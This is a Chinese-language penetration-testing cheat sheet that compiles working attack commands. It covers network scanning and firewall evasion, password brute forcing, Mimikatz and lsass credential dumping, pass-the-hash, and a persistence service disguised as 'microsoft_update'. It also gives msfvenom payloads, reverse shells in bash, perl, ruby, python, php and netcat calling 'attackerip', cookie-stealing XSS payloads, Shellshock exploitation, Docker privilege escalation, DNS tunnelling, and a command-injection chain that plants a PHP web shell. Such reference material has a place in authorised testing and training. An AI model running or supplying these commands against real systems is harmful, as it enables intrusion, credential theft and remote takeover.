滲透測試工具實戰技巧合集
本文為作者總結自己在滲透測試中常用的一些小技巧。原文分為兩部分,譯者將其合二為一,方便大家查閱。
最好的 NMAP 掃描策略
# 適用所有大小網路最好的 nmap 掃描策略
# 主機發現,生成存活主機列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
# 埠發現,發現大部分常用埠
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
# 埠發現,發現全部埠,但 UDP 埠的掃描會非常慢
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
# 顯示 TCP\UDP 埠
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
# 偵測服務版本
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
# 掃做系統掃描
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
# 系統和服務檢測
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
Nmap – 躲避防火牆
# 分段
$ nmap -f
# 修改預設 MTU 大小,但必須為 8 的倍數(8,16,24,32 等等)
$ nmap --mtu 24
# 生成隨機數量的欺騙
$ nmap -D RND:10 [target]
# 手動指定欺騙使用的 IP
$ nmap -D decoy1,decoy2,decoy3 etc.
# 殭屍網路掃描, 首先需要找到殭屍網路的IP
$ nmap -sI [Zombie IP] [Target IP]
# 指定源埠號
$ nmap --source-port 80 IP
# 在每個掃描資料包後追加隨機數量的資料
$ nmap --data-length 25 IP
# MAC 地址欺騙,可以生成不同主機的 MAC 地址
$ nmap --spoof-mac Dell/Apple/3Com IP
Nmap 進行 Web 漏洞掃描
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
使用 DIRB 爆破目錄
注:DIRB 是一個專門用於爆破目錄的工具,在 Kali 中預設已經安裝,類似工具還有國外的patator,dirsearch,DirBuster, 國內的御劍等等。
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
Patator – 全能暴力破解測試工具
# git clone https://github.com/lanjelot/patator.git /usr/share/patator
# SMTP 爆破
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
使用 Fierce 爆破 DNS
注:Fierce 會檢查 DNS 伺服器是否允許區域傳送。如果允許,就會進行區域傳送並通知使用者,如果不允許,則可以通過查詢 DNS 伺服器列舉主機名。類似工具:subDomainsBrute 和 SubBrute 等等
# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
使用 Nikto 掃描 Web 服務
nikto -C all -h http://IP
掃描 WordPress
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p
HTTP 指紋識別
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt
使用 Skipfish 掃描
注:Skipfish 是一款 Web 應用安全偵查工具,Skipfish 會利用遞迴爬蟲和基於字典的探針生成一幅互動式網站地圖,最終生成的地圖會在通過安全檢查後輸出。
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
使用 NC 掃描
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
Unicornscan
注:Unicornscan 是一個資訊收集和安全審計的工具。
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H 在生成報告階段解析主機名
-m 掃描型別 (sf - tcp, U - udp)
-Iv - 詳細
使用 Xprobe2 識別作業系統指紋
xprobe2 -v -p tcp:80:open IP
列舉 Samba
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
列舉 SNMP
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
實用的 Windows cmd 命令
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系統
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系統
PuTTY 連線隧道
轉發遠端埠到目標地址
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
Meterpreter 埠轉發
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# 轉發遠端埠到目標地址
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
開啟 RDP 服務
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
關閉 Windows 防火牆
netsh firewall set opmode disable
Meterpreter VNC\RDP
# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043
使用 Mimikatz
獲取 Windows 明文使用者名稱密碼
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
獲取雜湊值
git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd
或者
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
在或者
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
使用 Hashcat 破解密碼
hashcat -m 400 -a 0 hash /root/rockyou.txt
使用 NC 抓取 Banner 資訊
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>
使用 NC 在 Windows 上反彈 shell
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
查詢 SUID\SGID root 檔案
# 查詢 SUID root 檔案
find / -user root -perm -4000 -print
# 查詢 SGID root 檔案:
find / -group root -perm -2000 -print
# 查詢 SUID 和 SGID 檔案:
find / -perm -4000 -o -perm -2000 -print
# 查詢不屬於任何使用者的檔案:
find / -nouser -print
# 查詢不屬於任何使用者組的檔案:
find / -nogroup -print
# 查詢軟連線及其指向:
find / -type l -ls
Python shell
python -c 'import pty;pty.spawn("/bin/bash")'
Python\Ruby\PHP HTTP 伺服器
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888,
ocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888
獲取程式對應的 PID
fuser -nv tcp 80
fuser -k -n tcp 80
使用 Hydra 爆破 RDP
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
掛載遠端 Windows 共享資料夾
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
Kali 下編譯 Exploit
gcc -m32 -o output32 hello.c (32 位)
gcc -m64 -o output hello.c (64 位)
Kali 下編譯 Windows Exploit
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
NASM 命令
注:NASM 全稱 The Netwide Assembler,是一款基於80×86和x86-64平臺的組合語言編譯程式,其設計初衷是為了實現編譯器程式跨平臺和模組化的特性。
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
SSH 穿透
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
SSH 穿透從一個網路到另一個網路
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
使用 metasploit 進行穿透
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
或者
# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address : 10.1.13.2
基於 CSV 檔案查詢 Exploit-DB
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"
cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
MSF Payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
MSF 生成在 Linux 下反彈的 Meterpreter Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell
MSF 生成反彈 Shell (C Shellcode)
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
MSF 生成反彈 Python Shell
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
MSF 生成反彈 ASP Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp
MSF 生成反彈 Bash Shell
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh
MSF 生成反彈 PHP Shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php
MSF 生成反彈 Win Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe
Linux 常用安全命令
# 使用 uid 查詢對應的程式
find / -uid 0 -perm -4000
# 查詢哪裡擁有寫許可權
find / -perm -o=w
# 查詢名稱中包含點和空格的檔案
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print
# 查詢不屬於任何人的檔案
find / -nouser
# 查詢未連結的檔案
lsof +L1
# 獲取程式開啟埠的資訊
lsof -i
# 看看 ARP 表中是否有奇怪的東西
arp -a
# 檢視所有賬戶
getent passwd
# 檢視所有使用者組
getent group
# 列舉所有使用者的 crontabs
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done
# 生成隨機密碼
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4
# 查詢所有不可修改的檔案
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
# 使檔案不可修改
chattr -i file
Windows 緩衝區溢位利用命令
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c
COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20 For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)
# 常用命令:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh
!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest
SEH – 結構化異常處理
注:SEH(“Structured Exception Handling”),即結構化異常處理,是 windows 作業系統提供給程式設計者的強有力的處理程式錯誤或異常的武器。
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
# http://baike.baidu.com/view/243131.htm
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
ROP (DEP)
注:ROP(“Return-Oriented Programming”)是電腦保安漏洞利用技術,該技術允許攻擊者在安全防禦的情況下執行程式碼,如不可執行的記憶體和程式碼簽名。
DEP(“Data Execution Prevention”)是一套軟硬體技術,在記憶體上嚴格將程式碼和資料進行區分,防止資料當做程式碼執行。
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
# http://baike.baidu.com/item/DEP/7694630
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
ASLR – 地址空間格局隨機化
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
# http://baike.baidu.com/view/3862310.htm
!mona noaslr
尋蛋(EGG Hunter)技術
Egg hunting這種技術可以被歸為“分級shellcode”,它主要可以支援你用一小段特製的shellcode來找到你的實際的(更大的)shellcode(我們的‘雞蛋‘),原理就是通過在記憶體中搜尋我們的最終shellcode。換句話說,一段短程式碼先執行,然後再去尋找真正的shellcode並執行。– 參考自看雪論壇,更多詳情可以查閱我在程式碼註釋中增加的連結。
# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
GDB Debugger 常用命令
# 設定斷點
break *_start
# 執行下一個命令
next
step
n
s
# 繼續執行
continue
c
# 資料
checking 'REGISTERS' and 'MEMORY'
# 顯示暫存器的值: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)
# 顯示特定記憶體地址的值
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
BASH 反彈 Shell
bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
PERL 反彈 Shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# Win 平臺
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
RUBY 反彈 Shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# Win 平臺
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PYTHON 反彈 Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP 反彈 Shell
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
JAVA 反彈 Shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
NETCAT 反彈 Shell
nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443
# 如果 -e 引數被禁用,可以嘗試以下命令
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
# 如果你安裝錯了 netcat 的版本,請嘗試以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
TELNET 反彈 Shell
# 如果 netcat 不可用或者 /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe
XTERM 反彈 Shell
# http://baike.baidu.com/view/418628.htm
# 開啟 X 伺服器 (:1 – 監聽 TCP 埠 6001)
apt-get install xnest
Xnest :1
# 記得授權來自目標 IP 的連線
xterm -display 127.0.0.1:1
# 授權訪問
xhost +targetip
# 在目標機器上連線回我們的 X 伺服器
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm
XSS 備忘錄
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")
<script>document.location=http://IP:PORT</script>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";!–"<XSS>=&amp;{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"">
<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
<IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041>
<IMG SRC="jav ascript:alert('XSS');">
perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(">< iframes http://google.com < iframes >)
<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
<img src=asdf onerror=alert(document.cookie)>
SSH Over SCTP (使用 Socat)
# 遠端伺服器
# 假設你準備讓 SCTP socket 監聽埠 80/SCTP 並且 sshd 埠在 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
# 本地端
# 將 SERVER_IP 換成遠端伺服器的地址,然後將 80 換成 SCTP 監聽的埠號
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
# 建立 socks 代理
# 替換 username 和 -p 的埠號
$ ssh -lusername localhost -D 8080 -p 1337
使用洋蔥網路
# 安裝服務
$ apt-get install tor torsocks
# 繫結 ssh 到 tor 服務埠 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion
# ssh 客戶端連線
$ apt-get install torsocks
$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80
Metagoofil – 後設資料收集工具
注:Metagoofil 是一款利用Google收集資訊的工具。
# http://www.edge-security.com/metagoofil.php
# 它可以自動在搜素引擎中檢索和分析檔案,還具有提供Mac地址,使用者名稱列表等其他功能
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
利用 Shellshock
# 一個發現並利用伺服器 Shellshock 的工具
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# 檢視檔案
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# 繫結 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
# 反彈 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
獲取 Docker 的 Root
# 獲取 Docker 的 Root
# user 必須在 docker 使用者組中
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)
ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test
ek@victum:~$ cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
<< EOF
ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root
ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
使用 DNS 隧道繞過防火牆
# 讓資料和命令使用 DNS 隧道傳輸以繞過防火牆的檢查
# dnscat2 支援從目標主機上面上傳和下載命令來獲取檔案、資料和程式
# 伺服器 (攻擊者)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059
# 客戶機 (目標)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>
編譯 Assemble 程式碼
$ nasm -f elf32 simple32.asm -o simple32.o
$ ld -m elf_i386 simple32.o simple32
$ nasm -f elf64 simple.asm -o simple.o
$ ld simple.o -o simple
使用非互動 Shell 打入內網
# 生成 shell 使用的 ssh 金鑰
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"
# 增加使用者 tempuser
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh
# 反彈 ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"
利用 POST 遠端命令執行獲取 Shell
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl http://victum.tk/shell.php?cmd=id
# 在伺服器上下載 shell (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27
# 執行 nc 並執行 phpshell.php
attacker:~$ nc -nvlp 1337
以管理員身份在 Win7 上反彈具有系統許可權的 Shell
msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe
# 顯示賬戶配置
net user <login>
# Kali 上下載 psexec
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
# 使用 powershell 指令碼上傳 psexec.exe 到目標機器
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1
# 使用 powershell 指令碼上傳 danger.exe 到目標機器
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
